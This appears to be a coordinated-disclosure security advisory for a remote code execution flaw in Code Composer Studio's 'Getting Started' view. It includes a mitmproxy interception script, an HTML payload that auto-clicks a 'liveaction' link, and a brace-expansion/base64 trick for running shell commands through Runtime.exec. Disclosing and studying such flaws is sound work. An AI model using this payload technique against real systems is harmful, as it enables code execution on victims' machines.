Summary
The insecure configuration of JxBrowser in the “Getting Started” view of Code Composer Studio (CCS) allows a machine-in-the-middle attack (MiTM) which can be escalated to remote code execution (RCE).
Product
Tested Version
Code Composer Studio 10.0.0.00010
Details
Texas Instruments’ Code Composer Studio is an integrated development environment that supports TI’s microcontroller (MCU) and embedded processor portfolios.
When CCS is first started it opens the “Getting Started” view: This view uses JxBrowser, a Java binding for the Chromium browser, to show a YouTube playlist. Unfortunately, JxBrowser before version 6.24 ignored certificate errors by default!
This trivially allows an attacker to perform a machine-in-the-middle attack, because any certificate will be accepted.
We can use mitmproxy to perform a machine-in-the-middle attack:
- Download this script that will intercept the request.
- Run
mitmproxy -s interception_script.py --listen-port 8080
in a terminal. - Run
export HTTPS_PROXY=http://localhost:8080
. So that CCS/JxBrowser will connect tomitmproxy
. - Run
ccs/eclipse/ccstudio
to start CCS. - Navigate to “View” -> “Getting Started” if it doesn’t open by default.
- A calculator should pop up (
kcalc
must be installed).
What did we do to trigger the RCE?
Let’s have a look at interception_script.py
:
def response(flow: http.HTTPFlow):
ctx.log.info(flow.request.pretty_url)
if (
"https://www.youtube.com/embed/playlist?list=PL3NIKJ0FKtw77BTkTKo_OXYLaT0lL9_zc"
in flow.request.pretty_url
):
[...]
custom_response = http.HTTPResponse.make(
200,
rceCausingResponse, # <- replace with attack
{},
)
flow.response.content = custom_response.content # <- change the response
We are using the interception API provided by mitmproxy
to check whether the requested URL is https://youtube.com/embed/...
. If it is, we replace the HTTP response with our attack.
The variable rceCausingResponse
contains our attack and looks like this:
rceCausingResponse = """[...]
<a target="_parent" id="foo"
href="liveaction:RunProgramAction(/usr/bin/bash -c '{echo,a2NhbGMK}|{base64,-d}|bash')"
>oh no</a>
<img src="null" onerror="document.querySelector('#foo').click()">
[...]
"""
The response consists of a link and an image with a null
source.
The image’s onerror
handler will fire due to the null
source which will then trigger a click on the link with the custom liveaction
protocol!
This protocol is implemented in CCSIntroPart
by listening to changes to the browser location and calling ResourceExplorerUtils.executeLiveAction
on the new location. The method ResourceExplorerUtils.executeLiveAction
then checks whether the URL starts with the liveaction
protocol.
CCSIntroPart.this.browser.addLocationListener((LocationListener) new LocationListener() {
public void changing(final LocationEvent event) {
final String location = event.location;
if (ResourceExplorerUtils.executeLiveAction(location,
CCSIntroPart.this.browser.getUrl(), [...])) {
event.doit = false;
return;
}
[...]
}
[...]
});
The class name of the action, RunProgramAction
in our case, and its arguments, /usr/bin/bash -c '{echo,a2NhbGMK}|{base64,-d}|bash'
, will get extracted if the URL uses the liveaction
protocol. The RunProgramAction
class then gets instantiated which passes the arguments to Runtime.getRuntime().exec()
like this:
Runtime.getRuntime().exec("/usr/bin/bash -c '{echo,a2NhbGMK}|{base64,-d}|bash'", [...], [...]);
Why does '{echo,a2NhbGMK}|{base64,-d}|bash'
not look like a “normal” command, why are there no spaces?
The overload of the exec
method takes a String
as its first argument which will then be split by space into an array of String
s.
So if we had the command /usr/bin/bash -c 'touch /tmp/owned'
it would be split into this array: ["/usr/bin/bash"
, "-c"
, "'touch"
, "/tmp/ownde'"
] which would fail to execute!
Creating a Bash Command Without Spaces
How do we create a bash command without spaces? Brace Expansion to the rescue!
$ echo {he,llo,world}
he llo world
Brace expansion will helpfully add the spaces back for us :)
Building the Final Command
We now know how to create a command without spaces and we only have to put all pieces together.
- Encode the command we want to execute using Base64. We do this because it means we can easily use commands with spaces, because Base64 encodes any spaces. In our case we want to run
xkalc
which gets encoded asa2NhbGMK
. {echo,a2NhbGMK}
will expand back toecho a2NhbGMK
(via brace expansion).- This is then piped to
{base64,-d}
(expands tobase64 -d
) which decodes it back asxkalc
. - And finally everything is piped to
bash
, executingxkalc
.
This brings us to the final command '{echo,a2NhbGMK}|{base64,-d}|bash'
as seen above.
Impact
RCE.
CVE
Coordinated Disclosure Timeline
- 2020-07-28: Sent report to psirt@ti.com.
- 2020-09-21: CCS 10.1.1.00004 is released with a fix.
- 2021-01-26: CVE is assigned.
Credit
This issue was discovered and reported by @intrigus-lgtm.
Contact
You can contact the ISL at isl@intrigus.org
. Please include a reference to ISL-2020-004
in any communication regarding this issue.